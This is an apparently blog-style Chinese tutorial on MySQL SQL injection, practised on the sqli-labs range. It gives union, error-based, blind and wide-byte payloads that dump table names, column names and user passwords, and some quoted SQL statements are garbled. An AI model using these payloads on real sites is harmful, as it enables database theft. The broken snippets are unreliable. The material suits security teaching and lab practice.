首先了解下Mysql表结构
mysql内置的information_schema数据库中有三个表非常重要
1 schemata:表里包含所有数据库的名字
2 tables:表里包含所有数据库的所有的表,默认字段为table_name
3 columns:三个列非常重要
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
SQL注入原理:web应用没有对用户输入的数据进行严格校验, 导致攻击者可以在输入的数据中构造恶意SQL语句获取后台敏感信息.
分类:
按注入的位置可分为
GET类型注入
POST型注入
HTTP头部注入
常见的攻击思路及手法: 基本思路:第一步:我们输入的数据,也就是可控参数的改变能不能影响页面显示结果.
第二步:能否让数据库产生报错.例如简单的添加一个单引号看页面是否有数据库爆错信息
第三步:能否不让数据库产生报错.也就是将我们的sql语句跟后台的sql语句成功闭合并且被成功的执行.
攻击手法: 演示环境为php+Apache+mysql,靶场为sqli-labs (1)联合注入:例题为less-1,加单引号后发现报错,根据报错信息
猜测后台语句为SELECT username,password FROM users where LIMIT 0,1;
而我们输入的1'导致where后面的筛选条件变为了id='1'',所以出现语法错误,
这个时候就需要注释掉后面的语句比如输入1‘#发现页面正常显示
这个时候后台实际执行时就变成了SELECT username,password FROM users where LIMIT 0,1;注释掉了,这样我们就可以拼接语句
order by判断查询的字段数:?id=1'order by 4# 报错,order by 3正常返回
构造payload:
爆表名:?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
爆字段名:?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
爆字段值:?id=-1'union select 1,group_concat(concat_ws(":",username,password)),3 from users%23
(2)报错注入:
首先要了解两个函数
①extractvalue():从目标XML中返回包含所查询值的字符串
extractvalue()(XML_document,XPath_String);
从第一参数的文档里查找有没有第二个参数(字符串)
②UPDATAXML(XML_document,XPath_string,new_value)查找并且替换
参数含义:
new_value,String格式,替换查找到的符合条件的数据
XML_document:String格式的XML文档对象的名字
XPath_String:Xpath格式的字符串
利用方法:
1.将extractvalue(1,2号位)函数作为查询字段,在2号位用concat()函数拼接字符串
由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,
第二个参数就是具体要查询的敏感内容
2.将updataxml(1,2号位,3)函数作为查询字段,在2号位用concat()函数拼接字符串
由于报错信息太少,concat函数第一个参数用十六进制0x7e也就是~代替,
第二个参数就是具体要查询的敏感内容
Less11的payload:
uname=1'UNION SELECT 1,extractvalue(1,concat(0x7e,(SELECT password FROM users WHERE username LIKE 'admin' limit 0,1))) %23&passwd=&submit=Submit
(3)盲注:
所谓盲注就是我们在测试有无注入点的时候,看不到数据库的报错信息,也看不到数据库
的回显信息,只能通过页面状态的变化,来判断是否存在注入
布尔盲注:例如less5中构造?id=1' or 1=0%23 页面正常返回you are in,但当id改为=-1时,or前后条件都为假,页面返回空,判断存在布尔类型盲注
构造payload逐步爆破表名
?id=-1' or (SELECT ascii(substr(table_name,1,1))
FROM information_schema.tables
WHERE table_schema = database() limit 0,1)=101 %23
时间盲注:
可以通过返回服务器返回数据的时间判断页面是否执行了我们的代码
涉及到的函数 sleep(),benchmark()
if(1,sleep(),0)
在1处拼接sql语句 ascii(substr((SELECT FROM),1,1))>1
(4)宽字节注入:
宽字节注入是利用MySQL的一个特性,
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉
,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。
GBK编码一个字符占两个字节
ASCII站一个字符占用一个字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节
字符集
利用方法简单点就是在被过滤的符号前加上%81等
比如
less32 payload:
?id=0%81' union select 1,user(),version() %23
(5)约束攻击: